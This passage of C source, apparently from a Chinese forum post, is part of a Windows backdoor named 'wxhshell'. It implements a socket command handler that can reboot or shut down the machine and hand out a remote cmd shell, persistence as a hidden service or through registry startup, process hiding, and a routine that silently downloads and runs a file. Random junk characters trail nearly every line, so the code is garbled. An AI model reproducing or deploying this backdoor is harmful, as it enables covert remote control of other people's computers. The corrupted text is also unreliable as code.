    switch(cmd[0]) { 3;b)pQ~6CJ  
  mGg/F&G9  
  // 帮助 ~Ih` ayVq  
  case '?': {  e4_A`j'  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); RpU i'  
    break; Tn,_0  
  } 8S#&XS>o  
  // 安装 P$Y w'3v/  
  case 'i': { V4u4{wU]  
    if(Install()) rVhfj~Ts  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); HQF@@  
    else VxOWv8}|  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "Cvr("'O  
    break; ;L",K?6#  
    } |j/Y#.k;{0  
  // 卸载 #N`MzmwS  
  case 'r': { N:'GNMu  
    if(Uninstall()) A'}!'1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); V@RdvQy  
    else 3 P75:v  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %d-WQwJ  
    break; (-1{W^(  
    } Mx0~^l  
  // 显示 wxhshell 所在路径 \ eba9i^  
  case 'p': { vnf2Z,f%  
    char svExeFile[MAX_PATH]; [Ous|a[)o  
    strcpy(svExeFile,"\n\r"); [[w-~hHH-  
      strcat(svExeFile,ExeFile); Ymnh%wS  
        send(wsh,svExeFile,strlen(svExeFile),0); 08AD~^^  
    break; 2xi; 13?  
    } 82)=#ye_P  
  // 重启 X?ZLmP7|  
  case 'b': { 7C Sn79E  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ,6^Xn=o #  
    if(Boot(REBOOT)) {]|<|vc;GI  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); GXLh(d!C  
    else { uZf 6W<a  
    closesocket(wsh); ~tL:r=  
    ExitThread(0); 19% "F!^i  
    } r4K_Wp  
    break; @D["#pe,}  
    }  EAr;  
  // 关机 Uv?^qe0=  
  case 'd': { ~T9QpL1OJ  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); YVHf-uP  
    if(Boot(SHUTDOWN)) K)1Lg? j  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 55`p~:&VQ  
    else { (,mV6U%  
    closesocket(wsh); o3GZcH?  
    ExitThread(0); Nv0a]Am  
    } 4a!%eBhX"K  
    break; SH"<f_  
    } um<$L  
  // 获取shell (-;(wCEE  
  case 's': { L>Ze*dt  
    CmdShell(wsh); 6o]{< T/'  
    closesocket(wsh); ',|OoxhbK  
    ExitThread(0); ~Sf'bj;(  
    break; 7F2:'3SQ  
  } -d2)  
  // 退出 7[L%j;)bw  
  case 'x': { %WP[V{,F  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ME)='~E  
    CloseIt(wsh); W! |_ hL  
    break; Bn.R,B0PL  
    } E@Ewx;P5  
  // 离开 !z :j-gT3  
  case 'q': { B4zuWCE@  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ]m &Ss  
    closesocket(wsh); ?|`n&HrP  
    WSACleanup(); Az(,Q$"|5  
    exit(1); gDw(_KC  
    break; ,'<NyA><  
        } U0|bKU  
  } ,T ^A?t  
  } DqI"B  
2w~Vb0  
  // 提示信息 8"LM:0x  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); <JXHg, Q  
} &{#6Z  
  } 5yJ~ q  
b9wC:NgQx  
  return; ]f`UflMO8  
} GVf[H2%H  
s/3sOb}sA  
// shell模块句柄 "-5FUKI-  
int CmdShell(SOCKET sock) qauvwAMuX  
{ lA6{TH.x  
STARTUPINFO si; .W9 *-  
ZeroMemory(&si,sizeof(si)); C=K{;.  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 1n*"C!q  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; KB~`3Wj|Z  
PROCESS_INFORMATION ProcessInfo;  *ni0.  
char cmdline[]="cmd"; " :[;}f;  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); hp7ni1V  
  return 0; *.A-UoHa  
} p Zxx  
q+;lxR5D  
// 自身启动模式 tmeg=U7  
int StartFromService(void) 3fE0cVG*  
{ u#V;  
typedef struct gH"a MEC  
{ @.dM1DN)  
  DWORD ExitStatus; }lq$Fi/  
  DWORD PebBaseAddress; WhFE{-!gX  
  DWORD AffinityMask; +,T}x+D  
  DWORD BasePriority; vZ6R>f  
  ULONG UniqueProcessId; ~dgFr6  
  ULONG InheritedFromUniqueProcessId; d;3f80Kd*  
}   PROCESS_BASIC_INFORMATION; ^"uD:f)  
"79b>  
PROCNTQSIP NtQueryInformationProcess; }`2+`w%uZ  
az}zoFl  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ?<OyJ|;V  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ;d}n89DXj  
%X\Rfn0J"  
  HANDLE             hProcess; A-^B ?E  
  PROCESS_BASIC_INFORMATION pbi; ;?-{Uk  
E1A5<^t  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); D-m%eP.  
  if(NULL == hInst ) return 0; ePSD#kY5  
UpiZd/K  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ,W]}mqV%.'  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Sl \EPKZD  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); FELW?Q?k  
h-m0Ro?6  
  if (!NtQueryInformationProcess) return 0; h,/3 }  
b$*G&d5  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Jcp=<z*0  
  if(!hProcess) return 0; 20A:,pMb  
p-z!i+  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; (f* r  
AO7X-,  
  CloseHandle(hProcess); 7 lq$PsC  
L<Z2  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ?Qpi(Czbpq  
if(hProcess==NULL) return 0; e&m TaCLG  
@ L/i  
HMODULE hMod; \pI ,6$'  
char procName[255]; 3m~3l d  
unsigned long cbNeeded; *JWPt(bnI  
kWbY&]ZO  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); (5RZLRn  
)R@Y$*fm  
  CloseHandle(hProcess); )1)&fN41i#  
f\:I1y  
if(strstr(procName,"services")) return 1; // 以服务启动 Z#GR)jb+  
L'"od;(6R  
  return 0; // 注册表启动 0U2dNLc  
} mm | *  
])zpx-  
// 主模块 ]go.IfH  
int StartWxhshell(LPSTR lpCmdLine) LH~ t5  
{ iZ(p]0aP7  
  SOCKET wsl; 1u* (=!  
BOOL val=TRUE; X(]J\?n'  
  int port=0; On@p5YRwW  
  struct sockaddr_in door; {#+'T13sx  
a uve&y"R  
  if(wscfg.ws_autoins) Install(); G<~P||Lu^  
"(a}}q 9-  
port=atoi(lpCmdLine); )9!J $q  
You~ 6d6Om  
if(port<=0) port=wscfg.ws_port; L[:M[,?=`  
L$ju~0jl)%  
  WSADATA data; DVBsRV)/  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; N VDvd6  
(Q|Y*yI  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   woU3WS0  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); r6+IJxUd  
  door.sin_family = AF_INET; 8PGuZw<  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ;s-fYS6(>{  
  door.sin_port = htons(port); 4DGKZh'm"  
\JF 2'm\M  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { b]WvKdq  
closesocket(wsl); r+MqjdXG  
return 1; kChCo0Q>1  
} uD`Z\@Z  
=?hbi]  
  if(listen(wsl,2) == INVALID_SOCKET) { H|cxy?iJ  
closesocket(wsl); G?+]BIiL  
return 1; mldY/;-H!1  
} (`f)Tt=`  
  Wxhshell(wsl); ! j0iLYo(*  
  WSACleanup(); \=@4F^U7`  
v;" pc)i  
return 0; c{/KkmI  
;:Y/"5h  
} k%LsjN.S  
NB&zBJ#  
// 以NT服务方式启动 CyJZip  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) T"Nnl(cO_  
{ xQzXl  
DWORD   status = 0; JaJyH%+$!  
  DWORD   specificError = 0xfffffff; &([yI>%  
35SL*zS@-  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 'G3|PA7v  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; CDFkH  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; p?+;[!:  
  serviceStatus.dwWin32ExitCode     = 0; }An;)!>(nF  
  serviceStatus.dwServiceSpecificExitCode = 0; ,Q8h#0z r  
  serviceStatus.dwCheckPoint       = 0; /^ [K  
  serviceStatus.dwWaitHint       = 0; v/G^yZa  
??Dv\yLZI  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); *18J$  
  if (hServiceStatusHandle==0) return; 8j@ADfZ9  
mp0! S  
status = GetLastError(); HK.Si]:  
  if (status!=NO_ERROR) No w2ad&  
{ I]N!cEr;@-  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; '\LU 8VC  
    serviceStatus.dwCheckPoint       = 0; pR~"p#Y  
    serviceStatus.dwWaitHint       = 0; 2ZQ|nwb7  
    serviceStatus.dwWin32ExitCode     = status; %VgK::)r  
    serviceStatus.dwServiceSpecificExitCode = specificError; d#HN '(2t  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ; 5!8LmZ0#  
    return; ;:ocU?  
  } $/P\@|MqYQ  
NJ!}(=1|K  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; D+Z,;XZ  
  serviceStatus.dwCheckPoint       = 0; Um I,?p  
  serviceStatus.dwWaitHint       = 0; ;DI"9  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); g_MxG!+(V  
} wafws*b%  
`>{S?t<  
// 处理NT服务事件,比如:启动、停止 9QN(Wq@  
VOID WINAPI NTServiceHandler(DWORD fdwControl) wW'.bqA  
{ $s5D/60nO  
switch(fdwControl) <D(|}5qR  
{ ~fly6j|u  
case SERVICE_CONTROL_STOP: L(kW]  
  serviceStatus.dwWin32ExitCode = 0; cN#f$  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ;UWp0d%  
  serviceStatus.dwCheckPoint   = 0; x/#.%Ga#T  
  serviceStatus.dwWaitHint     = 0; !Ka~X!+\  
  { eLop}*k  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); .+CMm5T  
  } <+; cgF!+  
  return; J y0TVjA  
case SERVICE_CONTROL_PAUSE:  7e@Bkq0)  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Zq\ p%AU9  
  break; ]"\XTL0  
case SERVICE_CONTROL_CONTINUE: VDPq3`$+v{  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Wi!$bL`l  
  break; .h;X5q1  
case SERVICE_CONTROL_INTERROGATE: z%WOv ~8~  
  break; { :_qa|  
}; \!'K#%]9  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); hUMFfc ?  
} %'[ pucEF  
(`K ~p Z  
// 标准应用程序主函数 U\",!S~<  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) =zKbvwe%X  
{ F[U0TP@&*  
29h_oNO  
// 获取操作系统版本 fuA 8jx  
OsIsNt=GetOsVer();   [IW6F  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ZfIeq<8 _  
B7BikxUa  
  // 从命令行安装 Ty"=3AvRLV  
  if(strpbrk(lpCmdLine,"iI")) Install(); k.w}}78N2N  
m?D k(DJ  
  // 下载执行文件 Xw9"wAj  
if(wscfg.ws_downexe) { @NJJ  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ` oXL  
  WinExec(wscfg.ws_filenam,SW_HIDE); V@1K  
} >oc&hT  
rZ7)sE5L  
if(!OsIsNt) { qt#4i.Iu+  
// 如果时win9x,隐藏进程并且设置为注册表启动 +jz%:D  
HideProc(); tM{U6k  
StartWxhshell(lpCmdLine); -`e`U%n  
} [$(/H;  
else >CPoeIHK  
  if(StartFromService()) Pr^p ^s  
  // 以服务方式启动 3+# "4O  
  StartServiceCtrlDispatcher(DispatchTable); p4{3H+y  
else 'O]Ja-  
  // 普通方式启动 }=^Al;W  
  StartWxhshell(lpCmdLine); {:d9q  
DYvg^b  
return 0; 4xNzhnp|  
}
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只看该作者 1 发表于: 2006-10-10
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